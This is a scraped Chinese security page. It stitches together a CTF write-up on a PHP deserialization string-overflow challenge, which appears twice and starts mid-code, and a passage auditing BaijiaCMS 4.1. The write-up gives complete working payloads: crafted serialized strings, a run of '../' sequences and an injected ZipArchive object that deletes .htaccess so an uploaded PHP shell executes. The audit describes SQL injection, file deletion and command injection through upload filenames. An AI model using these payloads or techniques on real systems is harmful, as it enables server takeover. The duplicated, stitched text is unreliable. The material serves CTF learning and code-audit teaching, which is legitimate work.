switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload() 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::open() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename ,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() ,而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
04
构造payload
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}<br />
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comment 的长度调整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
05
构造fakename的payload
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。 查看全部
从一道题看PHP反序列化字符串溢出
白帽子社区知识星球
加入星球,共同进步
题目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目录扫描分析代码
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .htaccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine off 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
02
继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->realname 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload() 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::open() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename ,可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() ,而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
04
构造payload
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}<br />
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comment 的长度调整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
05
构造fakename的payload
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
PHP代码审计之百家CMS4.1
网站优化 • 优采云 发表了文章 • 0 个评论 • 91 次浏览 • 2022-06-19 13:20
本篇着重从代码审计方向出发
进行漏洞挖掘
三、PHP前置知识
PHP是一种弱类型语言,相对于Java来说它没有对数据类型进行严格的定义。所以入门代码审计的PHP是一个不错的选择。
预定义变量:
用于收集来自 method="XXX" 的表单中的值,也就是说我们的参数是经过这些系统变量来传递到后端的,这些函数是传参的入口。
$_GET <br />$_POST <br />$_REQUEST<br />$_FILES
函数:
用来实现某种功能的一段代码且函数被调用才可执行,如果一个函数中存在危险函数,且危险函数可被利用,但函数是没有被调用,那这个利用点还是利用不了的。
例子
危险函数:
本次只列出本系统需要用到的危险函数,随着课程的深入以后会介绍与项目中用到的危险函数供大家学习。
include() //文件包含,被包含的文件会被当做PHP代码执行<br />system() //执行系统命令 <br />file_get_contents() //把整个文件读入一个字符串中。<br />file_put_contents() //把一个字符串写入文件中<br />unlink() //用来删除文件
函数的详细介绍可以访问如下链接:
https://www.runoob.com/php/
四、百家CMS代码审计路由分析
通过渗透测试观察目录结构,发现该系统的所有功能点放在system目录下,而每个功能点都对应两个文件夹calss、template,class下存放的是每个功能的后端代码,template下是前端代码。由于是商城系统,该系统分为网页端和手机端,所以class、template目录下分别放有mobile手机端代码、web网页端代码。
1.XSS
这里act代表system文件夹下某个功能点,do代表功能点下的具体PHP文件,而op则代表在该文件中走哪个分支。以此类推下面的路由构成方式与该处相同
通过上面路由可以很快找到对应的PHP代码,在post分支中发现sname,website通过前端传入。
在展示页面,我们发现在最下面包含了store_display.php,而store_display.php文件中发现该处参数通过页面渲染在前端通过echo进行输出,从而造成XSS。
2.SQL注入
通过渗透测试中路由找到store.php文件,$_GP['sname']接收我们输入的payload并且直接拼接到SQL语句中,造成SQL注入。
3.任意文件夹删除
通过渗透测试中路由找到database.php文件,通过前端传递过来的id参数与$path进行拼接后,使用is_dir()判断是否为目录,是目录的话进入redirs()进行删除操作。这里就解释了为什么只能删除文件了
redirs()中判断我们传过来的参数是否是目录是目录就遍历出文件进行删除,不是就直接删除该文件。全程没有任何过滤,所以造成任意文件删除。
4.任意文件删除二
全局搜索unlink(函数,发现common.inc.php中的file_delete()函数可以被利用
全局搜索file_delete()函数,观察哪里调用了它而且参数可被利用,最终找到uploader.php,这里的file参数是从前端传入且可被利用
我们跟进file_delete()函数中,想要进入unlink(),就必须要$settings['system_isnetattach']不为空,
全局搜索system_isnetattach发现该参数是从netattach.php中接收的,我们通过上面的路由分析也可以轻松构造出该路由,也可通过该文件的中文提示找到该功能点。
对应的功能点就是附件设置,system_isnetattach就是设置图片压缩比例,这里只要随意设置不为空就可以了。
由于此处文件删除是需要手动创建对应的前端页面,为了方便我们通过访问路由来实现文件删除。
在根目录下建一个demo.txt,构造url访问
http://www.baijia.com:8011/bai ... %3Bbr />
5.任意文件写入
通过渗透测试中路由我们定位到漏洞点file.php文件,获取前端传入的url,将url的值传入到fetch_net_file_upload()中。
跟进fetch_net_file_upload()函数,file_get_contents()读取文件内容后,紧接着使用file_put_contents()将文件内容写入到$file_tmp_name文件中,并且后缀是从读取的文件截取到的,所以就造成了任意远程文件上传。
6.命令执行
通过渗透测试中路由我们定位到漏洞点setting.php,$file['name']是从$_FILES中传入
也就是我们这里上传处的文件名
setting.php中,首先判断文件名为txt后就要进入到file_save(),并且$file['name']作为它的参数传入,如下图
跟进file_save()函数,该函数中传递过来五个参数
在下面的system()函数中,将$file_full_path参数拼接进来而该参数正是我们前端传递的$file['name']值,所以通过&分割,就造成了命令执行。
初学代码审计我推荐大家配合工具进行审计,因为工具可以帮助大家在前期更好的定位漏洞点,以及帮助大家熟悉一些PHP中的敏感函数。
1)Seay
2)Fortify
五、总结
